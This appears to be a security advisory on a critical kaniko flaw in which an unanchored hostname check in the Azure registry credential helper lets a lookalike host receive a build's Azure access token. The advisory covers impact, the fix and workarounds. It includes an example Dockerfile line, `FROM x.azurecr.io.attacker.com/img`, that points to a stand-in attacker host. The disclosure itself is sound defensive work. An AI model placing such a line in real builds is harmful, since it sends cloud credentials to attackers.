A critical flaw in kaniko, the tool that builds container images inside Kubernetes without a Docker daemon, could hand a build's Azure cloud access token to an attacker-controlled server. The flaw, tracked as CVE-2026-105769, scores 9.3 out of 10 and is fixed in kaniko 1.25.20.

The problem sits in kaniko's Azure Container Registry credential helper, which decides whether a host is a genuine Azure registry using an unanchored regular expression. Any hostname containing `.azurecr.io`, `.azurecr.cn`, `.azurecr.de` or `.azurecr.us` is accepted — including a lookalike such as `x.azurecr.io.attacker.com`.

A Dockerfile that references an image on such a host, for example with `FROM x.azurecr.io.attacker.com/img` or `COPY --from=`, makes the helper fetch a Microsoft Entra ID access token for Azure Resource Manager from the build's Azure identity and send it to the attacker's host. The token can come from service principal environment variables, a federated workload identity token or a managed identity. No `RUN` instruction or image push is needed for the leak to happen.

What an attacker gains

The attacker can use the stolen token against Azure Resource Manager with whatever role assignments the build identity holds, until the token expires. They can also exchange it for credentials to any Azure Container Registry that identity can access.

The vendor's fix, in kaniko 1.25.20, only accepts a host if it is exactly a well-formed name ending in one of the genuine Azure registry suffixes, or `mcr.microsoft.com`. Because kaniko ships no binaries, users must rebuild the executor, the warmer and the credential helper from 1.25.20 or later. As a workaround, untrusted builds should not be given any Azure identity at all, and access to the cloud metadata service should be blocked from build pods. No exploitation in the wild has been confirmed.